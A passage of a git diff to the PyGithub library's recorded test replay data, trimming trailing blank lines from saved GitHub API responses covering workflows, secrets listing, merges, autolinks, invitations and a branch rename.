v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":129349732,"node_id":"MDEwOlJlcG9zaXRvcnkxMjkzNDk3MzI=","name":"PyGithub","full_name":"s-t-e-v-e-n-k/PyGithub","private":false,"owner":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars0.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"html_url":"https://github.com/s-t-e-v-e-n-k/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub","forks_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/forks","keys_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/teams","hooks_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/events","assignees_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/tags","blobs_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/languages","stargazers_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/subscription","commits_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/merges","archive_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/downloads","issues_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/deployments"}}]} - diff --git a/tests/ReplayData/Repository.testGetWorkflows.txt b/tests/ReplayData/Repository.testGetWorkflows.txt index 3c9cfc91b3..602da0cfdb 100644 --- a/tests/ReplayData/Repository.testGetWorkflows.txt +++ b/tests/ReplayData/Repository.testGetWorkflows.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Thu, 30 Apr 2020 14:23:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1588260036'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fc1eaa3814dd3ef6fdb3da89e056c63b"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EA22:67AD:694D5:7A1D2:5EAADF63')] {"total_count":2,"workflows":[{"id":1026390,"node_id":"MDg6V29ya2Zsb3cxMDI2Mzkw","name":"check","path":".github/workflows/check.yml","state":"active","created_at":"2020-04-15T10:48:32.000+10:00","updated_at":"2020-04-15T10:48:32.000+10:00","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","html_url":"https://github.com/PyGithub/PyGithub/blob/master/.github/workflows/check.yml","badge_url":"https://github.com/PyGithub/PyGithub/workflows/check/badge.svg"},{"id":1122712,"node_id":"MDg6V29ya2Zsb3cxMTIyNzEy","name":"Publish to PyPI","path":".github/workflows/python-publish.yml","state":"active","created_at":"2020-04-26T18:51:02.000+10:00","updated_at":"2020-04-26T18:51:02.000+10:00","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1122712","html_url":"https://github.com/PyGithub/PyGithub/blob/master/.github/workflows/python-publish.yml","badge_url":"https://github.com/PyGithub/PyGithub/workflows/Publish%20to%20PyPI/badge.svg"}]} - diff --git a/tests/ReplayData/Repository.testLegacySearchIssues.txt b/tests/ReplayData/Repository.testLegacySearchIssues.txt index 1f66257824..206ca6ef19 100644 --- a/tests/ReplayData/Repository.testLegacySearchIssues.txt +++ b/tests/ReplayData/Repository.testLegacySearchIssues.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('content-length', '875'), ('x-ratelimit-remaining', '4990'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1178425a2730e43d21323c7e130c863c"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Fri, 29 Jun 2012 11:38:23 GMT'), ('content-type', 'application/json; charset=utf-8')] {"issues":[{"number":49,"gravatar_id":"9be6ba907be1740213b69422fdf52b57","updated_at":"2012-06-28T14:13:25-07:00","user":"kukuts","votes":0,"html_url":"https://github.com/jacquev6/PyGithub/issues/49","position":1.0,"comments":4,"title":"Support new Search API","labels":["Functionalities","RequestedByUser"],"created_at":"2012-06-21T05:27:38-07:00","state":"open","body":"New API ported from v2 but i have trouble with adopting ask's library for v2 API to support v3 style for searching. \nhttp://developer.github.com/v3/search/\n\nIts not described in the page about parameters that search for repos API supports.\nThey are same as in v2 API, you can look them in ask's library.\nIn v2 was like that https://github.com/api/v2/json/repos/search/testing?start_page=2&language=Python\nIn v3 is https://api.github.com/legacy/repos/search/testing?start_page=2&language=Python"}]} - diff --git a/tests/ReplayData/Repository.testListSecrets.txt b/tests/ReplayData/Repository.testListSecrets.txt index bea127053d..1e641e5004 100644 --- a/tests/ReplayData/Repository.testListSecrets.txt +++ b/tests/ReplayData/Repository.testListSecrets.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 06 Jul 2021 20:10:36 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3614e5395cfc03c823bbdda5b1f709671ccf817159b9ca365e42b712b1b680d7"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4982'), ('X-RateLimit-Reset', '1625605212'), ('X-RateLimit-Used', '18'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FA4B:70AB:ABDCB3:273C490:60E4B8BC')] {"total_count":1,"secrets":[{"name":"TEST_SECRET","created_at":"2021-07-06T19:53:25Z","updated_at":"2021-07-06T19:53:25Z"}]} - diff --git a/tests/ReplayData/Repository.testMarkNotificationsAsRead.txt b/tests/ReplayData/Repository.testMarkNotificationsAsRead.txt index fa409578d4..8d6c65f2d9 100644 --- a/tests/ReplayData/Repository.testMarkNotificationsAsRead.txt +++ b/tests/ReplayData/Repository.testMarkNotificationsAsRead.txt @@ -29,5 +29,3 @@ None {"last_read_at": "2018-10-18T18:19:43Z"} 205 [('Server', 'GitHub.com'), ('Date', 'Thu, 18 Oct 2018 18:19:46 GMT'), ('Content-Type', 'text/plain;charset=utf-8'), ('Content-Length', '0'), ('Status', '205 Reset Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1539890344'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'notifications, repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'B18C:4C25:2AA2E23:5885386:5BC8CEC1')] - - diff --git a/tests/ReplayData/Repository.testMergeWithConflict.txt b/tests/ReplayData/Repository.testMergeWithConflict.txt index 78c0466f54..fe747d4105 100644 --- a/tests/ReplayData/Repository.testMergeWithConflict.txt +++ b/tests/ReplayData/Repository.testMergeWithConflict.txt @@ -8,4 +8,3 @@ None 409 [('status', '409 Conflict'), ('content-length', '28'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4980'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Sat, 08 Sep 2012 12:29:28 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Merge conflict"} - diff --git a/tests/ReplayData/Repository.testMergeWithMessage.txt b/tests/ReplayData/Repository.testMergeWithMessage.txt index 8a8e791f0e..0f58b43acf 100644 --- a/tests/ReplayData/Repository.testMergeWithMessage.txt +++ b/tests/ReplayData/Repository.testMergeWithMessage.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4988'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('content-length', '1670'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"f31a393604d4a8295a461319eb518495"'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/commits/231ab813ab5ccbdc102ee12e663c491794ccc32f'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Sat, 08 Sep 2012 12:21:08 GMT'), ('content-type', 'application/json; charset=utf-8')] {"sha":"231ab813ab5ccbdc102ee12e663c491794ccc32f","author":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146},"commit":{"message":"Commit message created by PyGithub","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-09-08T05:21:08-07:00"},"comment_count":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/231ab813ab5ccbdc102ee12e663c491794ccc32f","tree":{"sha":"97223b0c33ab29dd9aa038248dc982354f7d69a1","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/97223b0c33ab29dd9aa038248dc982354f7d69a1"},"committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-09-08T05:21:08-07:00"}},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/231ab813ab5ccbdc102ee12e663c491794ccc32f","parents":[{"sha":"3be2e82b400f3398c05b68f00a4427604e74c7c5","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3be2e82b400f3398c05b68f00a4427604e74c7c5"},{"sha":"7a19732ca92cd80fd9da31fa590d67729d6b44df","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/7a19732ca92cd80fd9da31fa590d67729d6b44df"}],"committer":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146}} - diff --git a/tests/ReplayData/Repository.testMergeWithNothingToDo.txt b/tests/ReplayData/Repository.testMergeWithNothingToDo.txt index ab65c7e4e1..643cae5d46 100644 --- a/tests/ReplayData/Repository.testMergeWithNothingToDo.txt +++ b/tests/ReplayData/Repository.testMergeWithNothingToDo.txt @@ -7,5 +7,3 @@ None {"commit_message": "Commit message created by PyGithub", "head": "branchForHead", "base": "branchForBase"} 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4985'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Sat, 08 Sep 2012 12:22:53 GMT')] - - diff --git a/tests/ReplayData/Repository.testMergeWithoutMessage.txt b/tests/ReplayData/Repository.testMergeWithoutMessage.txt index 13df8e4d44..10e535f407 100644 --- a/tests/ReplayData/Repository.testMergeWithoutMessage.txt +++ b/tests/ReplayData/Repository.testMergeWithoutMessage.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4991'), ('x-ratelimit-limit', '5000'), ('x-content-type-options', 'nosniff'), ('content-length', '1674'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"9a4000ce96f4c4d47922c7c8896d894f"'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/commits/a01fa060858e3aced1fe4ad74798295376e76fd4'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Sat, 08 Sep 2012 12:19:40 GMT'), ('x-github-media-type', 'github.beta; format=json'), ('content-type', 'application/json; charset=utf-8')] {"sha":"a01fa060858e3aced1fe4ad74798295376e76fd4","committer":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"author":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"parents":[{"sha":"3be2e82b400f3398c05b68f00a4427604e74c7c5","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3be2e82b400f3398c05b68f00a4427604e74c7c5"},{"sha":"7a19732ca92cd80fd9da31fa590d67729d6b44df","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/7a19732ca92cd80fd9da31fa590d67729d6b44df"}],"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a01fa060858e3aced1fe4ad74798295376e76fd4","commit":{"committer":{"email":"vincent@vincent-jacques.net","date":"2012-09-08T05:19:40-07:00","name":"Vincent Jacques"},"author":{"email":"vincent@vincent-jacques.net","date":"2012-09-08T05:19:40-07:00","name":"Vincent Jacques"},"message":"Merge branchForHead into branchForBase","tree":{"sha":"97223b0c33ab29dd9aa038248dc982354f7d69a1","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/97223b0c33ab29dd9aa038248dc982354f7d69a1"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/a01fa060858e3aced1fe4ad74798295376e76fd4","comment_count":0}} - diff --git a/tests/ReplayData/Repository.testRemoveAutolink.txt b/tests/ReplayData/Repository.testRemoveAutolink.txt index 917da8ff6c..99b5888815 100644 --- a/tests/ReplayData/Repository.testRemoveAutolink.txt +++ b/tests/ReplayData/Repository.testRemoveAutolink.txt @@ -7,5 +7,3 @@ None None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 02 Nov 2021 13:05:13 GMT'), ('X-OAuth-Scopes', 'admin:repo_hook, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2021-11-09 12:40:40 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4941'), ('X-RateLimit-Reset', '1635859633'), ('X-RateLimit-Used', '59'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'C120:10BD6:34C209:39806B:61813789')] - - diff --git a/tests/ReplayData/Repository.testRemoveInvitation.txt b/tests/ReplayData/Repository.testRemoveInvitation.txt index 3ef9b588ec..682ccb1734 100644 --- a/tests/ReplayData/Repository.testRemoveInvitation.txt +++ b/tests/ReplayData/Repository.testRemoveInvitation.txt @@ -7,5 +7,3 @@ None None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4992'), ('x-github-media-type', 'github.v3; format=json'), ('x-content-type-options', 'nosniff'), ('content-security-policy', "default-src 'none'"), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('vary', 'Accept-Encoding'), ('x-accepted-oauth-scopes', ''), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-oauth-scopes', 'public_repo, repo:status'), ('date', 'Tue, 02 Jul 2019 04:13:39 GMT'), ('x-frame-options', 'deny'), ('access-control-allow-origin', '*'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('content-type', 'application/octet-stream'), ('x-xss-protection', '1; mode=block'), ('x-ratelimit-reset', '1562044419')] - - diff --git a/tests/ReplayData/Repository.testRenameBranchObject.txt b/tests/ReplayData/Repository.testRenameBranchObject.txt index 23abea565e..17a0f48ffe 100644 --- a/tests/ReplayData/Repository.testRenameBranchObject.txt +++ b/tests/ReplayData/Repository.testRenameBranchObject.txt @@ -19,4 +19,3 @@ None 201 [('Server', 'GitHub.com'), ('Date', 'Sat, 23 Oct 2021 04:32:07 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '3748'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"21b924f024389f2dad56ec7b61664d88fa432e59b6068797da15b3b1718799a1"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1634967125'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '8302:7C71:69CE3F:710812:61739046')] {"name":"terrible-idea","commit":{"sha":"dbfbf7f07b81d616d4da032bcfa7ca90dcd79575","node_id":"C_kwDOB7W4ZNoAKGRiZmJmN2YwN2I4MWQ2MTZkNGRhMDMyYmNmYTdjYTkwZGNkNzk1NzU","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2021-10-21T04:06:06Z"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2021-10-21T04:06:06Z"},"message":"WIP: branch rename","tree":{"sha":"81e30fe50ff2b1c8e8cb819d181b3a285e9a9c94","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/81e30fe50ff2b1c8e8cb819d181b3a285e9a9c94"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/dbfbf7f07b81d616d4da032bcfa7ca90dcd79575","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/dbfbf7f07b81d616d4da032bcfa7ca90dcd79575","html_url":"https://github.com/jacquev6/PyGithub/commit/dbfbf7f07b81d616d4da032bcfa7ca90dcd79575","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/dbfbf7f07b81d616d4da032bcfa7ca90dcd79575/comments","author":{"login":"jacquev6","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"committer":{"login":"jacquev6","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.co